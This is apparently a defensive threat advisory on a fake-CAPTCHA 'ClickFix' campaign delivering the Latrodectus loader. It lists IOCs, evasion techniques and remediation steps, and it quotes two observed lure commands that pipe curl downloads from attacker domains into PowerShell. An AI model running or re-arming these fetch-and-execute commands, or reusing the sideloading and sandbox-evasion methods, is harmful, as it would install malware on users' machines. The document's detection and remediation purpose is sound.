Technical Analysis & Remediation
Attack Chain & Delivery
The attack begins with a "Fake CAPTCHA" lure (ClickFix). Users are prompted to copy a code snippet to "verify" their humanity.
This snippet is a cmd [/c] command piped to PowerShell, utilizing curl to fetch the next stage payload.
Observed Command
cmd [/c] curl naintn[.]com/amazoncdn[.]com/oeiich37874cj30dkk43885j10vj38h38jd/nrs/opn/ca/ | powershell.
Variant Command
cmd [/c] curl jzluw[.]com/cdn-dynmedia-1.microsoft[.]com/is/n03ufh3k003jdhkg99fhhas/is/content/ | powershell.
Latrodectus Payload Analysis
Once executed, the malware establishes persistence and C2 communication.
Version: The sample identifies itself as version 2.3 in C2 beacon data.
Installation
The malware drops files into %APPDATA%\Intel, using a legitimate Intel executable (igfxSDK[.]exe) to sideload the malicious wtsapi32[.]dll.
Evasion
Process Count Check
Latrodectus typically requires at least 75 running processes on Windows 10/11 to execute, aiming to detect sandbox environments.
Anti-Debug
The binary refuses to run if invoked via rundll.exe or regarding[.]exe. It also performs NTDLL unhooking by manually importing a fresh copy of ntdll[.]dll from disk.
Cryptography
Strings are decrypted using AES-256 in CTR mode with a fixed key and variable IV.
MITRE ATT&CK Mapping
T1204.002 (User Execution)
Malicious File/Command via "Fake CAPTCHA".
T1059.001 (Command and Scripting Interpreter) PowerShell execution via cmd [/c].
T1574.002 (Hijack Execution Flow)
DLL Side-Loading (wtsapi32[.]dll).
T1105 (Ingress Tool Transfer)
Downloading payload via curl.
T1027 (Obfuscated Files or Information)
String encryption (AES-CTR).
Telemetry & IOCs
Malicious Files (Hashes)
be5bcdfc0dbe204001b071e8270bd6856ce6841c43338d8db914e045147b0e77
(wtsapi32[.]dll - Malicious Loader)
6673794376681c48ce4981b42e9293eee010d60ef6b100a3866c0abd571ea648
(ClickFix Sample)
Legitimate Files Abused (Do Not Delete without Verification)
b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5
(igfxSDK[.]exe)
Network Indicators (C2s & Distribution)
naintn[.]com
(Distribution)
jzluw[.]com
(Distribution)
gasrobariokley[.]com
(Latrodectus C2)
fadoklismokley[.]com
(Latrodectus C2)
Artifacts
Directory
%APPDATA%\Intel containing igfxSDK[.]exe and wtsapi32[.]dll.
Suspicious DLLs in user profile
245282244[.]dll
760468301[.]dll.
Remediation - THE ENTERPRISE TRACK (NIST CSF 2.0)
DETECT (DE)
Command
Query SIEM/EDR for process creation events where cmd[.]exe or powershell[.]exe contains curl and piping (|).
Command
Hunt for the creation of wtsapi32.dll outside of System32 or SysWOW64, specifically in %APPDATA% subdirectories.
Command
Monitor for network traffic to naintn[.]com, jzluw[.]com, or the specific C2 domains listed above.
RESPOND (RS)
Command
Isolate affected hosts immediately. The presence of Latrodectus indicates a precursor to ransomware (often IcedID/Bumblebee lineage).
Command
Terminate processes associated with igfxSDK[.]exe running from %APPDATA% locations.
Command
Delete the persistence mechanism (likely a Scheduled Task or Registry Run key pointing to the sideloaded executable).
RECOVER (RC)
Command
Reimage compromised endpoints. Latrodectus is a sophisticated loader; full remediation usually requires a wipe to ensure no dormant persistence remains.
Remediation - THE HOME USER TRACK (Safety Focus)
Priority 1: Immediate Action
Command
If you pasted code into the "Run" box recently, assume compromise. Disconnect from the internet.
Command
Check the folder %APPDATA%\Intel (Type %APPDATA% in the file explorer bar). If you see igfxSDK[.]exe and wtsapi32[.]dll there, delete the entire folder.
Priority 2: Persistence Removal
Command
Open Task Manager (Ctrl+Shift+Esc). Look for igfxSDK[.]exe or high CPU usage from unfamiliar processes. Right-click and "End Task."
Command
Check "Startup Apps" in Settings. Disable entries that look suspicious or point to the %APPDATA% folders.
Hardening & References
Framework
This campaign relies on user execution. Technical controls (EDR) are critical, but User Awareness Training regarding "Paste to Run" attacks is the primary defense.
PowerShell
Enforce Constrained Language Mode for standard users to limit the efficacy of pasted PowerShell snippets.
Baseline
Restrict curl[.]exe usage for standard users if not required for business operations.
Data derived from CERT Polska and VMRay analysis reports.
Sources
CERT Polska (Incident Report)
VMRay (Malware Analysis)